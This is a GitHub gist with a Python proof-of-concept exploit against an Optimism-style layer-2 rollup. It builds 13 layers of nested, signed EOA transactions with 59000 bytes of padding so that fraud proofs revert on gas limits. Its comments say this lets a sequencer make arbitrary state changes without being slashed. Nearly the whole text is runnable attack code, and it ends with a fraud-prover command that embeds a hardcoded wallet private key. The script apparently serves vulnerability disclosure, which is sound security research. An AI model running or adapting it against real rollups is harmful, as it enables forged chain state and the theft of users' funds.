Skip to content

Instantly share code, notes, and snippets.

@yoavw
Created March 13, 2022 00:21
Show Gist options
  • Save yoavw/3d36467216d7f798d6715f2d1e71a293 to your computer and use it in GitHub Desktop.
Save yoavw/3d36467216d7f798d6715f2d1e71a293 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# Reuse the code of exploit5 to demonstrate an unprovable fraud. The only difference is the added padding (padding=59000) below.
# If the sequencer includes such transaciton, it can make an arbitrary state change without getting slashed.
# Any attempt to prove fraud will result in a revert of "Not enough gas to execute transaction deterministically." in OVM_StateTransitioner.applyTransaction().
from web3.auto.http import w3
from eth_abi.packed import encode_single_packed
from eth_abi import encode_abi
import eth_account.messages
from web3.middleware import geth_poa_middleware
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
w3.provider.endpoint_uri = 'http://localhost:8545/'
abi=[{'inputs': [{'internalType': 'bytes', 'name': '_transaction', 'type': 'bytes'}, {'internalType': 'enum Lib_OVMCodec.EOASignatureType', 'name': '_signatureType', 'type': 'uint8'}, {'internalType': 'uint8', 'name': '_v', 'type': 'uint8'}, {'internalType': 'bytes32', 'name': '_r', 'type': 'bytes32'}, {'internalType': 'bytes32', 'name': '_s', 'type': 'bytes32'}], 'name': 'execute', 'outputs': [{'internalType': 'bool', 'name': '_success', 'type': 'bool'}, {'internalType': 'bytes', 'name': '_returndata', 'type': 'bytes'}], 'stateMutability': 'nonpayable', 'type': 'function'}]
def to_32byte(val):
return w3.toBytes(val).rjust(32, b'\0')
def wrap_transaction(inner_acct,inner_transaction,gas):
if type(inner_transaction['data']) == str and inner_transaction['data'].startswith('0x'):
inner_transaction['data'] = int(inner_transaction['data'],16)
inner_message = encode_abi(["uint256", "uint256", "uint256", "uint256", "address" ,"bytes"],[inner_transaction['nonce'],inner_transaction['gas'],inner_transaction['gasPrice'],inner_transaction['chainId'],inner_transaction['to'],w3.toBytes(inner_transaction['data'])])
message = eth_account.messages.SignableMessage(version=b'\x19',header=b"Ethereum Signed Message:\n32",body=w3.toBytes(inner_message))
body_hashed_as_bytes = eth_account.messages.keccak(inner_message)
signed_message = inner_acct.signHash(w3.toHex(eth_account.messages.keccak(encode_single_packed('(bytes,bytes32)',[message.version+message.header,body_hashed_as_bytes]))))
eoacon = w3.eth.contract(address=inner_acct.address,abi=abi)
execute_call_transaction = eoacon.functions.execute(inner_message,1,signed_message.v-27,to_32byte(signed_message.r),to_32byte(signed_message.s)).buildTransaction({'gasPrice':0})
execute_call_transaction['nonce'] = 1
execute_call_transaction['gas'] = gas
execute_call_transaction['gasPrice'] = 0
return execute_call_transaction
accounts = []
def add_acct():
new_acct = w3.eth.account.create()
w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(new_acct.signTransaction({'value': 0, 'gas': 100000, 'gasPrice': 0, 'chainId': 420, 'data': '', 'to': '0x2222222222222222222222222222222222222222', 'nonce': w3.eth.getTransactionCount(new_acct.address)}).rawTransaction)) # deploy EOA if not there yet
print(new_acct.address)
accounts.append(new_acct)
return new_acct
def add_layer(transaction,gas):
new_acct = add_acct()
return wrap_transaction(new_acct,transaction,gas)
def finalize_transaction(transaction):
new_acct = add_acct()
return new_acct.signTransaction(transaction).rawTransaction
def attack5(gas=500000,layers=13,padding=0):
inner_transaction = {'value': 0, 'gas': 1999999, 'gasPrice': 0, 'chainId': 420, 'data': b'\x00'*padding, 'to': '0x0000000000000000000000000000000000000001', 'nonce': 1}
t = inner_transaction
while(layers > 0):
layers = layers - 1
t = add_layer(t,gas)
final_transaction = finalize_transaction(t)
w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(final_transaction))
block = w3.eth.getBlock('latest')['number']
cmd=f"ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX={block-1} FORCE_BAD_ROOT={block} exec/run-fraud-prover.js"
print(cmd)
attack5(padding=59000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment